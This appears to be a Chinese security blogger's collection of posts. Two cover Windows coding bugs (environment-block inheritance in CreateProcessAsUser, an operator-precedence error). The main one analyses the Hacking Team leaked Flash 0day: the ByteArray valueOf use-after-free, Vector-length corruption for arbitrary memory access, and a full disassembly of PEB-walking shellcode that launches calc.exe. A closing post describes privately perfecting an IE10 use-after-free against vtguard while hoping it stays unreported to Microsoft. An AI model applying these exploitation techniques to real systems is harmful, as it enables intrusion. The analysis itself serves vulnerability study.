系统环境块,又是一个深坑

又是史前巨坑级别。维护服务代码的时候,发现里面有一个常用的CreateProcessAsUser。本来这个功能用在其他地方啥事没有,这一天我突然接到一个需求,要调用一个只能在用户权限运行的程序。本来获取User token,再Create Process一气呵成。跟踪一下却有些蹊跷

xxxy.png

卧槽这什么鬼,明明是当前用户起来的,仔细看了代码,果不其然,lpEnviroment用的是NULL,使用父进程的Enviroment,然而父进程是SYSTEM起的。

bfa1af.png

某智能Handle类 hDumpToken; 
if (!DuplicateTokenEx(hUserToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hDumpToken))
{
  return;
}

LPVOID lpEnvironmentBlock = NULL;
if (!CreateEnvironmentBlock(&lpEnvironmentBlock, hDumpToken, FALSE))
{
  return;
}

BOOL ret = CreateProcessAsUserW(hDumpToken, NULL,
  (LPWSTR)strFile.c_str(),
  NULL, NULL, FALSE,
  NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, lpEnvironmentBlock, NULL,
  &si, &pi);

wtf。

&优先级错了 搞了个大新闻

某日惊闻代码出了个bug,后来仔细一看问题出在
bRet = ((verInfo->dwFileVersionMS >> 16) & 0xffff == 1);

仔细一看傻逼了,==的优先级比&高,改成
bRet = (((verInfo->dwFileVersionMS >> 16) & 0xffff) == 1);
之后问题解决

结论 太懒也是不行的啊。。

Hacking Team泄露Flash 0day分析

不幸被截胡……文章发这儿吧………1555cccc.jpg

content
1 触发原因 (来自Readme)
2 Win7+IE10+FLASH 16调试
3 shellcode
4 效果展示

1 漏洞触发原因
来自ReadMe:
在Flash中定义的ByteArray()对象,在里面添加一个数字类型的值,接着,向里面写入一个对象。

这个时候,AS3会显式调用MyClass的valueOf()方法,而valueOf方法可以重载,例如用户代码可以在代码中重载valueOf并设定对象的长度。

此时,该valueOf实际上会导致flash先保存之前的buffer指针,然后触发分配新内存时,之前保存的buffer实际上就无效了,但是后面toInteger依然会向之前的地址写入内容,写入内容可控,因此导致Uaf的发生。

2 实际例子

在Windows 7 x86+Flash Player 16.0+IE 10中调试如下,在泄露出的Swf的例子中,valueOf这里的反汇编代码为:

_ba.length=0x1100:
1.png

  • 获取原Buffer,将原Buffer的内容(edi+8)给新Buffer,并且修改新Buffer的长度为0x1100。

自带的 readme中精简了不少,但差不多也是这个意思

当这个valueOf返回0x40时,事实上0x40写入的是原来的Buffer的地址(old edi),而在循环new Vector.(0x3f0);的时候,这个位置已经被vector占据了,因此写入的是vector的开头length部分,f0 03 00 00,被写完之后变为了f0 03 00 40,也即这个对象的大小变为了0x4000030f,因此足以跑到各种内存空间上。
2.png

被释放的ByteArray的Length部分的第一个字节被修改为了0x40,使得它的Length变为了0x4000030f
3.png
这样,引用这个vector的时候事实上可以访问非常大的内存空间,至此就转换成了经典的利用vector来搜索全内存的利用方式了。

3 shellcode
该swf使用的shellcode如下,使用CreateProcessA创建calc.exe。考虑到通用性,函数都是地址现场取的,前面的几个常量一看便知:

0:026> uf 0x43bb1b8
Flow analysis was incomplete, some code may be missing
043bb1b8 55              push    ebp
043bb1b9 8bec            mov     ebp,esp
043bb1bb 83c4ac          add     esp,0FFFFFFACh
043bb1be 53              push    ebx
043bb1bf 51              push    ecx
043bb1c0 57              push    edi
043bb1c1 648b0530000000  mov     eax,dword ptr fs:[30h]
043bb1c8 8b400c          mov     eax,dword ptr [eax+0Ch]
043bb1cb 8b400c          mov     eax,dword ptr [eax+0Ch]
043bb1ce 8b00            mov     eax,dword ptr [eax]
043bb1d0 8b00            mov     eax,dword ptr [eax]
043bb1d2 8b5818          mov     ebx,dword ptr [eax+18h]
043bb1d5 89d8            mov     eax,ebx
043bb1d7 03403c          add     eax,dword ptr [eax+3Ch]
043bb1da 8b5078          mov     edx,dword ptr [eax+78h]
043bb1dd 01da            add     edx,ebx
043bb1df 8b7a20          mov     edi,dword ptr [edx+20h]
043bb1e2 01df            add     edi,ebx
043bb1e4 31c9            xor     ecx,ecx
this article comes from www.nul.pw author blast

043bb1e6 8b07            mov     eax,dword ptr [edi]
043bb1e8 01d8            add     eax,ebx
043bb1ea 813843726561    cmp     dword ptr [eax],61657243h ;Crea
043bb1f0 751c            jne     043bb20e

043bb1f2 81780b73734100  cmp     dword ptr [eax+0Bh],417373h ;ssA //CreateProcessA
043bb1f9 7513            jne     043bb20e

043bb1fb 8b4224          mov     eax,dword ptr [edx+24h]
043bb1fe 01d8            add     eax,ebx
043bb200 0fb70448        movzx   eax,word ptr [eax+ecx*2]
043bb204 8b521c          mov     edx,dword ptr [edx+1Ch]
043bb207 01da            add     edx,ebx
043bb209 031c82          add     ebx,dword ptr [edx+eax*4]
043bb20c eb09            jmp     043bb217

043bb20e 83c704          add     edi,4
043bb211 41              inc     ecx
043bb212 3b4a18          cmp     ecx,dword ptr [edx+18h]
043bb215 7ccf            jl      043bb1e6

043bb217 8d45f0          lea     eax,[ebp-10h]
043bb21a 50              push    eax
043bb21b 8d7dac          lea     edi,[ebp-54h]
043bb21e 57              push    edi
043bb21f 31c0            xor     eax,eax
043bb221 b911000000      mov     ecx,11h
043bb226 f3ab            rep stos dword ptr es:[edi]
043bb228 c745ac44000000  mov     dword ptr [ebp-54h],44h
043bb22f 50              push    eax
043bb230 50              push    eax
043bb231 50              push    eax
043bb232 50              push    eax
043bb233 50              push    eax
043bb234 50              push    eax
043bb235 e809000000      call    043bb243
043bb23a 63616c          arpl    word ptr [ecx+6Ch],sp
043bb23d 632e            arpl    word ptr [esi],bp
043bb23f 657865          js      043bb2a7

043bb242 0050ff          add     byte ptr [eax-1],dl
043bb245 d35f59          rcr     dword ptr [edi+59h],cl
043bb248 5b              pop     ebx
043bb249 c1e003          shl     eax,3
043bb24c 83c006          add     eax,6
043bb24f c9              leave
043bb250 c3              ret

4 效果
4.jpg
图:Win7 IE9启动了calc.exe

怎么才能绕过vtguard呢

有一个基于ie 10的use after free,可是vtguard是个麻烦事儿。算了留待周末再看吧。

看起来是一个从ie8就遗留下来的老问题了

20150609 add
但是代码整理起来相当麻烦,看起来还和运行过程中多线程的时序有关,整体崩溃成功率大致在60%左右,五次有三次成功的样子。

本来想尽快整理完出结果,但是精简过程中就出现了时序被破坏之后的各种不稳定情况,很多时候直接变成了无用的空指针解引用,看来这个东西不闹腾个几个月是出不来了,只求这之前还没人报告给微软了

20150630 add
有了点时间 调整了下 目前触发率提升到了100%

无关的参考链接
http://neilscomputerblog.blogspot.com/2014/04/vtguard.html
http://ifsec.blogspot.com/2013/11/exploiting-internet-explorer-11-64-bit.html